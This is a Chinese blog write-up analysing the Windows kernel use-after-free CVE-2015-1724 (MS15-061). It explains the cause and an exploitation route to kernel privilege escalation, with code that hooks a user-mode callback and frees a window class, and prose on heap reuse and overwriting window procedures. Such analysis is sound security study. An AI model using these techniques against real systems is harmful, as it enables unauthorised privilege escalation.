CVE-2015-1724(MS15-061)

目录

CVE-2015-1724(MS15-061)

漏洞成因

NtUserSetClassLong中存在一条调用xxxCreateClassSmIcon的代码路径,在xxxCreateClassSmIcon中执行了用户回调,但并未对tagCLS结构加锁,导致在用户层有将其释放的可能性,在用户回调结束后没有对tagCLS重新校验而直接调用HMAssignmentLock可能导致任意地址递减。

CVE-2015-1724(MS15-061)

CVE-2015-1724(MS15-061)

利用思路

  1. 在用户层挂钩xxxClientCopyImage中的要执行的用户回调USER32!__ClientCopyImage
  2. 在我们的挂钩函数中释放掉窗口A和窗口类
  3. 通过设置其他窗口的strName来重用这块堆内存A
  4. 通过精心布置strName的数据,使得HMAssignmentLock将窗口B的cbwndExtra字段减一,从而变成0xffffffff,从而通过SetWindowLongPtr来修改相邻窗口的lpfnWndProc,从而在内核权限下执行代码完成提权

利用细节

挂钩xxxClientCopyImage

    DWORD prot;
    __ClientCopyImageAddress = Get__ClientCopyImageAddressInPEB();
    cout << "address of __ClientCopyImage is: 0x" << hex << __ClientCopyImageAddress << endl;

    if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
    {
        return false;
    }
    g_originalCCI = (pUser32_ClientCopyImage)InterlockedExchangePointer(
        (volatile PVOID*)__ClientCopyImageAddress,
        &hookCCI
    );

在挂钩函数中释放掉窗口A和窗口类

NTSTATUS NTAPI hookCCI(PVOID p)
{
	...
        
    DestroyWindow(hwnd);
    UnregisterClassW(L"MS15-061", NULL);
    
    ...
    return g_originalCCI(p);

通过在windbg中下条件断点可以观察到窗口类的堆内存被释放

ba e1 nt!RtlFreeHeap ".printf"RtlFreeHeap(%p, 0x%x, %p)", poi(@esp+4), poi(@esp+8), poi(@esp+c); .echo ; gc"

CVE-2015-1724(MS15-061)

然后通过NtUserDefSetText重用这块内存,并在调用前提前布置Text的内容,将其伪造为tagCLS结构,填充的数据可以在桌面堆用户层的映射地址读取,由于HMAssignmentLock是将tagCLS->spicnSm字段指向的对象+4的位置减一,因此将这个字段的值布置为相邻窗口B的cbwndExtra - 4的地址,

CVE-2015-1724(MS15-061)

CVE-2015-1724(MS15-061)

通过SetWindowLongPtr将相邻窗口C的lpfnWndProc替换为我们的窗口过程,从而实现再内核权限执行我们的代码

CVE-2015-1724(MS15-061)

CVE-2015-1724(MS15-061)

效果演示

CVE-2015-1724(MS15-061)

参考

https://github.com/LibreCrops/translation-zh_CN/blob/master/source/ms-15-061.rst

上一篇:L1-023 输出GPLT


下一篇:PAT1067 试密码 (20分)——测试点4分析 一个易错点